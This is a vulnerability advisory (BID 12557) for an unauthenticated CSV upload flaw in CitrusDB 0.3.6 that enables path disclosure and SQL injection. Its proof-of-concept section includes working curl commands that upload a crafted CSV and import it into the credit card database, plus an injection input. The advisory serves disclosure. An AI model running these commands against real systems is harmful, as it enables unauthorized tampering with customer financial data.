CitrusDB CSV File Upload Access Validation Vulnerability

BID:12557

Info

CitrusDB CSV File Upload Access Validation Vulnerability

Bugtraq ID: 12557
Class: Access Validation Error
CVE: CVE-2005-0409
CVE-2005-0410
Remote: Yes
Local: No
Published: Feb 15 2005 12:00AM
Updated: Jul 12 2009 10:06AM
Credit: Discovery of this vulnerability is credited to RedTeam.
Vulnerable: CitrusDB Customer Database 0.3.6
Not Vulnerable:

Discussion

CitrusDB CSV File Upload Access Validation Vulnerability

CitrusDB is reportedly affected by an access validation vulnerability during the upload of CSV files. Exploitation of this issue could result in path disclosure or SQL injection. The issue exists because the application fails to verify user credentials during file upload and import.

These issues are reported to affect CitrusDB 0.3.6; earlier versions may also be affected.

Exploit / POC

CitrusDB CSV File Upload Access Validation Vulnerability

No exploit is required.

The following proof of concept is available:
This uploads the file exploit.csv.

curl -D - --cookie "id_hash=2378c7b70e77d9c6737d697a46cbe34b;
user_name=testor" http://<target>/citrusdb/tools/uploadcc.php --form
[email protected] --form Import=Import

This imports the file to the credit card database:

curl -D - --cookie "id_hash=2378c7b70e77d9c6737d697a46cbe34b;
user_name=testor"
"http://<target>/citrusdb/tools/index.php?load=importcc&submit=on"

Note: The above proof of concepts require the id_hash of an existing user.

THe following proof of concept demonstrates the SQL injection vulnerability:
Reportedly supplying ',,,,, as the contents of the uploaded csv file will make the SQL query in './citrusdb/tools/importcc.php' fail.

Solution / Fix

CitrusDB CSV File Upload Access Validation Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

CitrusDB CSV File Upload Access Validation Vulnerability

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